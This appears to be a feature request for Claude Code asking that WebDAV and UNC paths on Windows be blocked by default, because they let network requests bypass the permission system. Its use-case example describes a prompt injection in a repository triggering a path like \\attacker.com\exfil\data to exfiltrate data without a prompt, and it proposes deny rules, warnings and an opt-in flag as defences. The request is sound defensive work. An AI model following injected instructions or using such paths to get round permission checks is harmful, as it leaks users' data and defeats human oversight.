[FEATURE] Block WebDAV paths by default on Windows to prevent permission bypass

Preflight Checklist

• [x] I have searched existing requests and this feature hasn't been requested yet
• [x] This is a single feature request (not multiple features)

Problem Statement

The current documentation acknowledges that WebDAV on Windows can completely bypass Claude Code's permission system:

"Enabling WebDAV may allow Claude Code to trigger network requests to remote hosts, bypassing the permission system." — security.md

This is a critical security gap where:

1. The warning is buried - It appears only in the security documentation, not in the Windows setup instructions where users would see it during installation
2. No runtime protection - Claude Code doesn't detect or block WebDAV paths (\\*) at runtime
3. Permission system is ineffective - On Windows with WebDAV enabled, the entire permission model can be circumvented through network requests to remote hosts

The Windows setup documentation (setup.md) covers WSL and Git Bash options but makes no mention of the WebDAV security risk. Users following standard installation procedures would never know their permission system could be bypassed.

Proposed Solution

1. Block WebDAV paths by default — Add \\* path patterns to the default deny list in the permission system. Paths starting with \\ should require explicit user approval with a security warning.

1. Add runtime detection — When Claude Code encounters a path that could trigger WebDAV (UNC paths like \\server\share), display a prominent warning:

``
⚠️ Security Warning: This path may trigger WebDAV network requests,
which can bypass Claude Code's permission system. Proceed with caution.
``

1. Surface the warning in Windows setup docs — Add a warning box to the "Windows setup" section of setup.md:

``markdown
<Warning>
**WebDAV Security Risk**: Do not enable WebDAV or allow Claude Code to access
paths such as \\* that may contain WebDAV subdirectories. WebDAV can bypass
Claude Code's permission system. See [Security](https://code.claude.com/en/security)
for details.
</Warning>
``

1. Add a --allow-webdav flag — For users who genuinely need WebDAV access, provide an explicit opt-in flag that acknowledges the security tradeoff.

Alternative Solutions

Current workaround: Users must manually avoid WebDAV paths and hope they remember the buried documentation warning. This relies entirely on user awareness and discipline.

Why alternatives are insufficient:

• Documentation-only approaches fail because users don't read security docs during setup
• Enterprise Windows environments often have WebDAV enabled by default
• A permission system that can be silently bypassed provides false security assurance

Priority

Critical - Blocking my work

Feature Category

CLI commands and flags

Use Case Example

1. Security-conscious developer installs Claude Code on Windows
2. Follows official setup docs (WSL or Git Bash)
3. Trusts that permission prompts protect against unauthorized actions
4. Unknown to them, WebDAV is enabled in their enterprise environment
5. Malicious prompt injection in a repository triggers a path like \\attacker.com\exfil\data
6. Network request executes without permission prompt
7. Data exfiltration occurs despite "permission system" being in place

With this feature:

• Step 5 would trigger a security warning or be blocked entirely
• User would be informed during setup about the WebDAV risk
• Enterprise security teams could audit for --allow-webdav usage

Additional Context

Documentation evidence:

The warning currently exists only in code-claude/docs/en/security.md (line 65):

<Warning>
  **Windows WebDAV security risk**: When running Claude Code on Windows, we recommend
  against enabling WebDAV or allowing Claude Code to access paths such as `\\*` that
  may contain WebDAV subdirectories. WebDAV has been deprecated by Microsoft due to
  security risks. Enabling WebDAV may allow Claude Code to trigger network requests
  to remote hosts, bypassing the permission system.
</Warning>

Missing from:

• setup.md - Windows setup section (lines 190-203)
• quickstart.md - Windows installation commands
• Any runtime protection mechanism

Related: Microsoft has deprecated WebDAV due to security risks: Microsoft deprecation notice